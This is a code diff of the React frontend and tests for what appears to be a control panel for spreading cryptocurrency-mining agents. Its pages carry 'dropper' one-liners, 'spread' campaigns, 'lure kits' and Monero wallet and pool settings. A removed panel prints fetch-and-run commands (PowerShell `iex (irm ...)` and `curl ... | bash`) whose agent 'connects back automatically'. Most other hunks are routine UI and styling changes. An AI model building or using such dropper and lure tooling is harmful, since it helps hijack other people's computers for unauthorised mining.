it('shows loading then empty multi-OS state', async () => {
@@ -157,11 +148,14 @@ describe('AgentsPage', () => {
await user.clear(tags);
await user.type(tags, 'living-room, rack-b');
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
await waitFor(() => {
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
});
await waitFor(
() => {
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
},
{ timeout: 10000 }
);
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
});
}, 15000);
it('alerts when bulk action has no online agents', async () => {
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });

View File

@@ -1,7 +1,8 @@
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import type { Agent, HashrateSample } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart';
import { resolveChartSeries } from '../help/chartSampleData';
@@ -25,58 +26,19 @@ import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import '../components/Fleet/FleetToolbar.css';
import './Pages.css';
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
const [copied, setCopied] = useState<string | null>(null);
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
const copy = (text: string, key: string) => {
navigator.clipboard.writeText(text).then(() => {
setCopied(key);
setTimeout(() => setCopied(null), 2000);
});
};
const ps1 = `iex (irm '${base}/install.ps1')`;
const sh = `curl -sL ${base}/install.sh | bash`;
const dlWin = `${base}/get?os=windows`;
const dlLin = `${base}/get?os=linux`;
const dlMac = `${base}/get?os=darwin`;
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
{copied === id ? '✓ Copied' : 'Copy'}
</button>
</div>
);
function BuildsInstallLink() {
return (
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div style={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between', gap: '1rem', flexWrap: 'wrap' }}>
<div>
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
<strong className="font-display" style={{ fontSize: '1rem' }}>Deploy a new worker</strong>
<p className="form-hint" style={{ margin: 0 }}>
Run any of these commands on a remote machine the agent downloads itself and connects back automatically.
No files to transfer manually.
Per-machine install commands (PowerShell, bash, direct download) live in Builds.
</p>
</div>
</div>
<div style={{ marginBottom: '0.75rem' }}>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install &amp; run (auto-launches)</div>
<Row label="Windows" cmd={ps1} id="ps1" />
<Row label="Linux/Mac" cmd={sh} id="sh" />
</div>
<div>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
<Row label="Windows" cmd={dlWin} id="dlw" />
<Row label="Linux" cmd={dlLin} id="dll" />
<Row label="macOS" cmd={dlMac} id="dlm" />
<Link to="/builds" className="btn btn-outline">
View install commands in Builds
</Link>
</div>
</NeonCard>
);
@@ -92,7 +54,6 @@ export default function AgentsPage() {
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
@@ -152,7 +113,6 @@ export default function AgentsPage() {
.finally(() => {
if (!cancelled) setLoading(false);
});
api.getServerInfo().then(setServerInfo).catch(() => {});
return () => {
cancelled = true;
};
@@ -380,7 +340,7 @@ export default function AgentsPage() {
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
<QuickDeployPanel serverInfo={serverInfo} />
<BuildsInstallLink />
{loadError && (
<NeonCard accent="amber" className="empty-state">

View File

@@ -31,6 +31,12 @@
flex-shrink: 0;
}
.bm-action-hint {
display: inline-flex;
align-items: center;
gap: 0.15rem;
}
/* ── empty / loading ── */
.bm-empty {
text-align: center;

View File

@@ -6,6 +6,7 @@ import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import { HelpTip } from '../components/HelpTip';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
@@ -51,7 +52,7 @@ export function platformLabel(p?: string): string {
export function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = {
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
windows: 'var(--neon-cyan)', linux: '#a3e635', darwin: '#f0abfc', universal: 'var(--neon-amber)',
};
return m[p.toLowerCase()] ?? '#aaa';
}
@@ -231,8 +232,9 @@ function BuildCard({
<span
className="bm-platform-badge"
style={{ color: platformColor(build.platform) }}
title={build.platform ?? 'windows'}
>
{platformLabel(build.platform)}
{platformLabel(build.platform)} <HelpTip field="bm_platform_badge" />
</span>
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
@@ -308,7 +310,8 @@ function BuildCard({
<div className="bm-downloads-label font-tech">
{build.pinned
? 'ONE-LINER DEPLOY (serves this pinned build)'
: 'ONE-LINER DEPLOY (serves latest build)'}
: 'ONE-LINER DEPLOY (serves latest build)'}{' '}
<HelpTip field="bm_dropper_oneliner" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
@@ -334,15 +337,18 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
<span className="bm-action-hint"><PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} /><HelpTip field="bm_public_build" /></span>
<span className="bm-action-hint"><PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} /><HelpTip field="bm_pin_dropper" /></span>
<span className="bm-action-hint">
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
<HelpTip field="bm_reforge" />
</span>
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
</div>
</div>

View File

@@ -285,7 +285,8 @@ describe('BuilderPage', () => {
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
expect(await screen.findByText('Mission complete')).toBeInTheDocument();
expect(screen.getByRole('button', { name: /View install commands in Builds/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
expect(api.buildAgent).toHaveBeenCalled();
expect(api.exportSpreadKit).toHaveBeenCalled();

View File

@@ -59,10 +59,8 @@ import {
MISSION_STEPS,
MISSION_STEP_LABELS,
applyMissionPresets,
copyMissionLinks,
missionStepStatus,
runForgeMission,
type MissionLinks,
type MissionStep,
} from '../help/forgeMission';
import {
@@ -210,8 +208,8 @@ export default function BuilderPage() {
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
const [missionBusy, setMissionBusy] = useState(false);
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
useModalAmbientDuck(!!missionModal);
const [missionComplete, setMissionComplete] = useState(false);
useModalAmbientDuck(missionComplete);
useEffect(() => {
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
@@ -720,7 +718,7 @@ export default function BuilderPage() {
if (!form) return;
setError('');
setLastBuild(null);
setMissionModal(null);
setMissionComplete(false);
setMissionExportSkipped(false);
setMissionWizardStep('launch');
@@ -757,8 +755,7 @@ export default function BuilderPage() {
});
setMissionExportSkipped(result.exportSkipped);
setForm(normalized);
await copyMissionLinks(result.links);
setMissionModal(result.links);
setMissionComplete(true);
await finishForgeSuccess(result.build);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Mission failed';
@@ -966,7 +963,7 @@ export default function BuilderPage() {
});
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
const setupStatus = getSetupStatus(calibrateConfig);
const setupStatus = getSetupStatus(calibrateConfig, serverInfo);
return (
<div className={forgeSkinClass}>
@@ -1291,7 +1288,7 @@ export default function BuilderPage() {
)}
{!missionBusy && missionStep !== 'error' && (
<p className="form-hint" style={{ marginTop: 0 }}>
Ritual: Configure presets Forge (45 min timeout) Export spread ZIP Copy dropper links.
Ritual: Configure presets Forge (45 min timeout) Export spread ZIP Install commands in Builds.
</p>
)}
</div>
@@ -2989,38 +2986,26 @@ export default function BuilderPage() {
{dispenseReveal?.success && (
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
)}
{missionModal && (
{missionComplete && (
<div
className="forge-mission-modal-backdrop"
role="dialog"
aria-modal="true"
aria-labelledby="mission-modal-title"
onClick={() => setMissionModal(null)}
onClick={() => setMissionComplete(false)}
>
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
<h3 id="mission-modal-title">Mission complete — links copied</h3>
<h3 id="mission-modal-title">Mission complete</h3>
<p className="form-hint" style={{ marginTop: 0 }}>
PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
Your build is ready. Copy per-machine install commands from Builds.
</p>
<div className="forge-mission-link-block">
<p>PowerShell</p>
<code>{missionModal.ps1}</code>
</div>
<div className="forge-mission-link-block">
<p>curl | bash</p>
<code>{missionModal.sh}</code>
</div>
<div className="forge-mission-link-block">
<p>/get dropper</p>
<code>{missionModal.get}</code>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => void copyMissionLinks(missionModal)}
className="btn btn-primary btn-sm"
onClick={() => navigate('/builds')}
>
Copy all
View install commands in Builds →
</button>
<a
href="/spread/"
@@ -3030,7 +3015,7 @@ export default function BuilderPage() {
>
Open spread landing
</a>
<button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
<button type="button" className="btn btn-outline btn-sm" onClick={() => setMissionComplete(false)}>
Done
</button>
</div>

View File

@@ -246,10 +246,10 @@
border-radius: 3px;
letter-spacing: 0.04em;
}
.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); }
.cn-upd.upd-ok { color: var(--neon-green); background: rgba(46,232,16,0.1); }
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; }
.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); }
.cn-upd.upd-bad { color: var(--error-color); background: rgba(255,68,102,0.12); font-weight: 700; }
.cn-upd.upd-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
.cn-reboot {
@@ -260,8 +260,8 @@
letter-spacing: 0.04em;
}
.cn-reboot.rb-pending {
color: #ff2222;
background: rgba(255,34,34,0.15);
color: var(--error-color);
background: rgba(255,68,102,0.15);
font-weight: 700;
animation: rb-blink 1.4s step-end infinite;
}
@@ -311,7 +311,7 @@
letter-spacing: 0.04em;
cursor: default;
}
.cn-thermal.therm-hot { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
.cn-thermal.therm-hot { color: var(--error-color); background: rgba(255,68,102,0.14); font-weight: 700; animation: rb-blink 1.6s step-end infinite; }
.cn-thermal.therm-warm { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
.cn-disk.disk-crit { color: #ff3333; background: rgba(255,51,51,0.14); font-weight: 700; }
.cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
@@ -447,10 +447,31 @@
/* ── Actions ─────────────────────────────────────────────────────────── */
.crucible-ops-panel {
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.crucible-ops {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 0.55rem;
align-items: start;
}
@media (max-width: 900px) {
.crucible-ops {
grid-template-columns: 1fr;
}
}
/* Full-width groups inside the ops grid */
.crucible-ops .cop-network,
.crucible-ops .cop-maint,
.crucible-ops .cop-seek,
.crucible-ops .crucible-seek-group {
grid-column: 1 / -1;
}
/* ── Op group card ───────────────────────────────────────────────────── */
@@ -518,7 +539,7 @@
.cop-shell { grid-column: 1 / -1; }
.cop-network { grid-column: 1 / -1; border-color: rgba(58, 134, 255, 0.2); }
.cop-network { border-color: rgba(58, 134, 255, 0.2); }
.cop-network .cop-label { color: rgba(58, 134, 255, 0.8); border-bottom-color: rgba(58, 134, 255, 0.14); }
.cop-network .crucible-op-btn {
border-color: rgba(58, 134, 255, 0.28);
@@ -537,13 +558,20 @@
color: rgba(255, 120, 200, 0.95);
}
.cop-maint { grid-column: 1 / -1; border-color: rgba(0, 212, 170, 0.2); }
.cop-maint { border-color: rgba(0, 212, 170, 0.2); }
.cop-maint .cop-label { color: rgba(0, 212, 170, 0.8); border-bottom-color: rgba(0, 212, 170, 0.14); }
.crucible-op-collapsible .cop-toggle {
.crucible-op-collapsible .cop-toggle-row {
width: 100%;
display: flex;
align-items: center;
gap: 0.35rem;
}
.crucible-op-collapsible .cop-toggle {
flex: 1;
display: flex;
align-items: center;
justify-content: space-between;
background: none;
border: none;
@@ -555,6 +583,10 @@
border-bottom: none;
margin-bottom: 0;
padding-bottom: 0;
display: inline-flex;
align-items: center;
gap: 0.25rem;
width: auto;
}
.crucible-op-collapsible .cop-chevron {
font-size: 0.65rem;
@@ -955,16 +987,76 @@
/* ── SSH Info ─────────────────────────────────────────────────────────── */
.crucible-ssh-info { margin-bottom: 2rem; }
.crucible-ssh-grid {
.crucible-ssh-notes {
width: 100%;
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.75rem 1.5rem;
margin-top: 0.5rem;
gap: 0.55rem 1rem;
margin-top: 0.35rem;
padding-top: 0.45rem;
border-top: 1px dashed rgba(255, 255, 255, 0.08);
}
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
@media (max-width: 700px) {
.crucible-ssh-notes { grid-template-columns: 1fr; }
}
.crucible-seek-blurb {
width: 100%;
margin: 0 0 0.35rem;
font-size: 0.72rem;
color: var(--text-muted);
line-height: 1.45;
}
.crucible-seek-input {
width: 100%;
margin-bottom: 0.35rem;
}
.seek-field-label {
width: 100%;
font-size: 0.65rem;
letter-spacing: 0.1em;
text-transform: uppercase;
color: var(--text-muted);
font-family: var(--font-tech);
margin-bottom: 0.2rem;
}
.crucible-seek-platforms {
width: 100%;
display: flex;
flex-wrap: wrap;
gap: 1rem;
margin-bottom: 0.5rem;
font-size: 0.8rem;
}
.crucible-seek-platforms label {
display: flex;
align-items: center;
gap: 0.35rem;
cursor: pointer;
}
.crucible-seek-platforms .seek-win { color: #61dafb; }
.crucible-seek-platforms .seek-mac { color: #a8ff78; }
.crucible-seek-platforms .seek-hint { color: #555; font-size: 0.7rem; }
.crucible-seek-launch {
background: linear-gradient(135deg, #ff8c00 0%, #ff4500 100%) !important;
border: none !important;
color: #fff !important;
font-weight: 700;
letter-spacing: 0.08em;
}
.crucible-fm-hint {
width: 100%;
margin: 0 0 0.35rem;
font-size: 0.72rem;
}
.crucible-ssh-step {
display: flex;

File diff suppressed because it is too large Load Diff

View File

@@ -135,9 +135,9 @@ describe('DashboardPage', () => {
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
renderDashboard();
expect(await screen.findByText('Total Hashrate')).toBeInTheDocument();
expect(screen.getByText('Fleet Online')).toBeInTheDocument();
expect(screen.getByText('Accept Rate')).toBeInTheDocument();
expect(await screen.findByText('Top Miner')).toBeInTheDocument();
expect(screen.getByText('Fleet Compute')).toBeInTheDocument();
expect(screen.getAllByText('Fleet Hash')[0]).toBeInTheDocument();
const roster = screen.getByText('Machine Roster').closest('section') as HTMLElement;
expect(within(roster).getByText('Alpha Node')).toBeInTheDocument();
expect(within(roster).getByText('online')).toBeInTheDocument();

View File

@@ -22,6 +22,7 @@ import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import ErrorBoundary from '../components/ErrorBoundary';
import { HelpTip } from '../components/HelpTip';
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
@@ -187,16 +188,39 @@ export default function DashboardPage() {
return () => controller.abort();
}, [totalHashrate]);
const chartMetricsRef = useRef({
totalHashrate,
acceptRate,
avgCpu,
avgMem,
totalGPUHashrate,
});
chartMetricsRef.current = {
totalHashrate,
acceptRate,
avgCpu,
avgMem,
totalGPUHashrate,
};
// Sample fleet metrics every 2s instead of on every WS stats_update (reduces chart re-renders).
useEffect(() => {
const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
if (totalGPUHashrate > 0) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
}
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
const sample = () => {
if (document.hidden) return;
const m = chartMetricsRef.current;
const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: m.totalHashrate }]);
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: m.acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: m.avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: m.avgMem }]);
if (m.totalGPUHashrate > 0) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: m.totalGPUHashrate }]);
}
};
sample();
const id = window.setInterval(sample, 2000);
return () => window.clearInterval(id);
}, []);
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
@@ -415,7 +439,9 @@ export default function DashboardPage() {
<span className="beacon-core" />
</div>
<div>
<span className="font-tech live-label">{isConnected ? 'SIGNAL LOCKED' : 'RECONNECTING'}</span>
<span className="font-tech live-label">
{isConnected ? 'SIGNAL LOCKED' : 'RECONNECTING'} <HelpTip field="dash_signal_locked" />
</span>
<span className="live-sub">{agents.length} nodes registered</span>
</div>
<button
@@ -425,38 +451,42 @@ export default function DashboardPage() {
>
{advancedMode ? '[OVERVIEW]' : '[ADVANCED]'}
</button>
<HelpTip field="dash_advanced_mode" />
{advancedMode && (
<button
className="button matrix-toggle-btn"
onClick={() => setShowMatrix(true)}
style={{ background: 'transparent', border: '1px solid #0f0', color: '#0f0', fontFamily: 'monospace' }}
>
[RAW_STREAM]
</button>
<>
<button
type="button"
className="button matrix-toggle-btn"
onClick={() => setShowMatrix(true)}
>
[RAW_STREAM]
</button>
<HelpTip field="dash_raw_stream" />
</>
)}
</div>
</header>
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
<div className="deck-wealth-pill">
<div className="dwp-label">Fleet Hash</div>
<div className="dwp-label">Fleet Hash <HelpTip field="dash_fleet_hash" /></div>
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
<div className="dwp-sub">15m rolling</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Est. Daily</div>
<div className="dwp-label">Est. Daily <HelpTip field="dash_est_daily" /></div>
<div className="dwp-value mint">
{estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'}
</div>
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Accept</div>
<div className="dwp-label">Accept <HelpTip field="dash_accept_rate" /></div>
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
<div className="dwp-sub">share quality</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Nodes Live</div>
<div className="dwp-label">Nodes Live <HelpTip field="dash_nodes_live" /></div>
<div className="dwp-value">
{onlineCount}/{agents.length}
</div>
@@ -466,7 +496,7 @@ export default function DashboardPage() {
<NeonCard accent="green" className="section operator-deck-card operator-interactive" hud>
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
<span className="section-ornament"></span> Fleet Pipeline
<span className="section-ornament"></span> Fleet Pipeline <HelpTip field="dash_fleet_pipeline" />
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
@@ -517,33 +547,7 @@ export default function DashboardPage() {
</section>
<div className="grid-4 stats-grid steampunk-stats">
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Total Hashrate</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{onlineCount} engines firing</div>
</NeonCard>
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted">
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
</div>
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Accept Rate</div>
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
<div className="stat-sub">
{acceptedShares + rejectedShares > 0
? `${acceptedShares} valid · ${rejectedShares} rejected`
: 'no shares yet'}
</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap">
<div className="stat-label font-tech">Resources</div>
<div className="stat-value">{avgCpu.toFixed(0)}% CPU</div>
<div className="stat-sub">{avgMem.toFixed(0)}% memory · fleet mean</div>
</NeonCard>
{/* ── Pretty numbers row ── */}
<NeonCard accent="gold" className="stat-card-wrap">
@@ -657,6 +661,7 @@ export default function DashboardPage() {
MONERO SUBHEADING — clarify the section above belongs to XMR
═══════════════════════════════════════════════════════════════════ */}
<div className="mining-coin-label monero-label">
<HelpTip field="dash_xmr_section" />
<span className="coin-badge xmr-badge">XMR</span>
<span className="coin-name font-tech">MONERO</span>
<span className="coin-algo font-tech">· RandomX CPU ·</span>
@@ -669,6 +674,7 @@ export default function DashboardPage() {
{hasGPUMining && (
<div className="rvn-section">
<div className="mining-coin-label rvn-label">
<HelpTip field="dash_gpu_rvn" />
<span className="coin-badge rvn-badge">RVN</span>
<span className="coin-name font-tech">RAVENCOIN</span>
<span className="coin-algo font-tech">· KawPoW GPU ·</span>

View File

@@ -11,6 +11,133 @@
font-size: 1rem;
}
.emberwake-hero-links {
margin-top: 0.5rem;
}
.emberwake-section-title {
margin: 0 0 0.35rem;
font-size: 1.1rem;
display: inline-flex;
align-items: center;
gap: 0.35rem;
flex-wrap: wrap;
}
.emberwake-section-desc {
margin: 0 0 0.85rem;
font-size: 0.85rem;
color: var(--text-dim, #aaa);
line-height: 1.45;
}
.emberwake-primary-block {
margin-bottom: 1.5rem;
}
.emberwake-setup-grid {
display: grid;
gap: 0.75rem;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
margin-bottom: 1rem;
}
.emberwake-subsection {
margin-top: 1rem;
padding-top: 1rem;
border-top: 1px solid #222a38;
}
.emberwake-subsection--inline {
display: flex;
flex-wrap: wrap;
align-items: flex-end;
justify-content: space-between;
gap: 0.75rem;
}
.emberwake-subsection-title {
margin: 0 0 0.25rem;
font-size: 0.95rem;
display: inline-flex;
align-items: center;
gap: 0.35rem;
}
.emberwake-oneliner {
display: block;
font-size: 0.75rem;
word-break: break-all;
margin-bottom: 0.35rem;
}
.emberwake-advanced {
margin-bottom: 1.25rem;
}
.emberwake-advanced:not([open]) > :not(summary) {
display: none;
}
.emberwake-advanced-summary {
cursor: pointer;
list-style: none;
display: flex;
align-items: center;
justify-content: space-between;
gap: 0.75rem;
flex-wrap: wrap;
}
.emberwake-advanced-summary::-webkit-details-marker {
display: none;
}
.emberwake-advanced-summary::before {
content: '▸';
color: var(--text-dim, #888);
margin-right: 0.35rem;
transition: transform 0.15s ease;
}
.emberwake-advanced[open] .emberwake-advanced-summary::before {
transform: rotate(90deg);
}
.emberwake-advanced-tag {
margin: 0;
font-size: 0.72rem;
text-transform: uppercase;
letter-spacing: 0.06em;
color: #a78bfa;
}
.emberwake-advanced[open] > .emberwake-section-desc,
.emberwake-advanced[open] > .supply-chain-wizard,
.emberwake-advanced[open] > .emberwake-public-list {
margin-top: 0.75rem;
}
.emberwake-public-list {
margin: 0;
padding: 0;
list-style: none;
}
.emberwake-public-list li {
margin-bottom: 0.5rem;
font-size: 0.85rem;
}
.emberwake-techniques-block {
margin-bottom: 1.25rem;
}
.war-room-toolbar-meta {
font-size: 0.78rem;
color: var(--text-dim, #888);
}
.emberwake-page .spread-section--cyan { border-left: 4px solid #3dd6c6; }
.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }

View File

@@ -0,0 +1,119 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import EmberwakePage from './EmberwakePage';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
import { SPREAD_TECHNIQUES_DOC } from '../help/spreadTechniques';
vi.mock('../hooks/useWebSocket', () => ({
useWebSocket: () => ({ latestMessage: null }),
}));
vi.mock('../context/PresenceContext', () => ({
usePresence: () => ({
notesTyping: null,
sendNotesTyping: vi.fn(),
comradesHere: () => [],
}),
}));
function renderEmberwake() {
return render(
<MemoryRouter initialEntries={['/emberwake']} future={routerFuture}>
<EmberwakePage />
</MemoryRouter>,
);
}
describe('EmberwakePage', () => {
beforeEach(() => {
vi.clearAllMocks();
vi.spyOn(api, 'listBuilds').mockResolvedValue([
{
id: 'build-1',
worker_name: 'office-worker',
server_url: 'http://localhost:8989',
wallet: '4' + 'A'.repeat(94),
threads: 4,
file_size: 1024,
file_path: 'builds/agent.exe',
file_name: 'agent.exe',
created_at: '2026-05-30T12:00:00.000Z',
pool_host: 'pool.example.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
platform: 'windows',
download_url: '/api/v1/builds/build-1/download',
pinned: true,
},
]);
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'listPublicBuilds').mockResolvedValue({ builds: [] });
vi.spyOn(api, 'getEmberwakeNotes').mockResolvedValue({ content: '', updated_at: '', updated_by: '' });
vi.spyOn(api, 'getWarRoom').mockResolvedValue({
campaigns: [],
days: 7,
generated_at: '2026-06-06T12:00:00.000Z',
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
vi.stubGlobal('navigator', {
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
});
});
afterEach(() => {
vi.unstubAllGlobals();
cleanup();
});
it('renders hero and primary campaign setup once', async () => {
renderEmberwake();
expect(await screen.findByRole('heading', { level: 1, name: /Emberwake/i })).toBeInTheDocument();
expect(screen.getByText(/Tag install links, export lure kits/i)).toBeInTheDocument();
expect(screen.getByRole('heading', { level: 2, name: /Campaign setup/i })).toBeInTheDocument();
expect(screen.getByRole('heading', { level: 3, name: /Install commands/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
expect(screen.queryByRole('heading', { name: /Campaign builder/i })).not.toBeInTheDocument();
});
it('shows war room and a single techniques reference section', async () => {
renderEmberwake();
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
